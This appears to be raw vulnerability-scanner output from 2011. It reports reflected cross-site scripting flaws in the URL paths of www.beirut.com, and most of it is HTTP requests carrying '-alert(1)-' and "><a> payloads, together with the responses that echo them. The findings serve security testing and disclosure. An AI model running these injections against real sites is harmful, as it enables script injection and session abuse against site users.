HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:29:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60755
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Nightlife/Loungesdbf60'-alert(1)-'bf7ec8f366e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a3af5'-alert(1)-'09ceb507a40 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlifea3af5'-alert(1)-'09ceb507a40/Nightclubs/311071488 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:26:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59808
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Nightlifea3af5'-alert(1)-'09ceb507a40/Nightclubs'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49148"><a>74117d2cdce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Nightlife49148"><a>74117d2cdce/Nightclubs/311071488 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:21:14 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59390
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Nightlife49148"><a>74117d2cdce"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61c2a'-alert(1)-'96f348522ed was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlife/Nightclubs61c2a'-alert(1)-'96f348522ed/311071488 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:31:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60942
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Nightlife/Nightclubs61c2a'-alert(1)-'96f348522ed'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7fca'-alert(1)-'bcd7c3d350 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlifee7fca'-alert(1)-'bcd7c3d350/Pubs/242334555 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:20:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59807
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Nightlifee7fca'-alert(1)-'bcd7c3d350/Pubs'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d189"><a>ee82da82aca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Nightlife9d189"><a>ee82da82aca/Pubs/242334555 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:14:02 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59781
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Nightlife9d189"><a>ee82da82aca"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3ab96'-alert(1)-'715bc2c72a5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlife/Pubs3ab96'-alert(1)-'715bc2c72a5/242334555 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:25:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61026
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Nightlife/Pubs3ab96'-alert(1)-'715bc2c72a5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 931bc'-alert(1)-'963b289fa78 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlife931bc'-alert(1)-'963b289fa78/Super-Nightclub/131874060 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:29:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59878
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Nightlife931bc'-alert(1)-'963b289fa78/Super-Nightclub'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3bbe2"><a>f25926c30b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Nightlife3bbe2"><a>f25926c30b4/Super-Nightclub/131874060 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:22:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59794
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Nightlife3bbe2"><a>f25926c30b4"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d504f'-alert(1)-'2563b831f04 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Nightlife/Super-Nightclubd504f'-alert(1)-'2563b831f04/131874060 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:33:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58635
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Nightlife/Super-Nightclubd504f'-alert(1)-'2563b831f04'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d58d"><a>ac48a56578b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet8d58d"><a>ac48a56578b/Blogs HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:43:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet8d58d"><a>ac48a56578b"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5885f'-alert(1)-'687637bb642 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet5885f'-alert(1)-'687637bb642/Blogs HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:48:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60337
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Online-Internet5885f'-alert(1)-'687637bb642/Blogs'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59d6a'-alert(1)-'3b34277816 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Blogs59d6a'-alert(1)-'3b34277816 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:54:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58032
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet/Blogs59d6a'-alert(1)-'3b34277816'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1eefc'-alert(1)-'7e00d9a754f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet1eefc'-alert(1)-'7e00d9a754f/Business/56859781 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:46:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60240
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Online-Internet1eefc'-alert(1)-'7e00d9a754f/Business'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a97d"><a>23f65bdada9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet7a97d"><a>23f65bdada9/Business/56859781 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:36:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60264
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet7a97d"><a>23f65bdada9"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24096'-alert(1)-'6f3d30ecf5a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
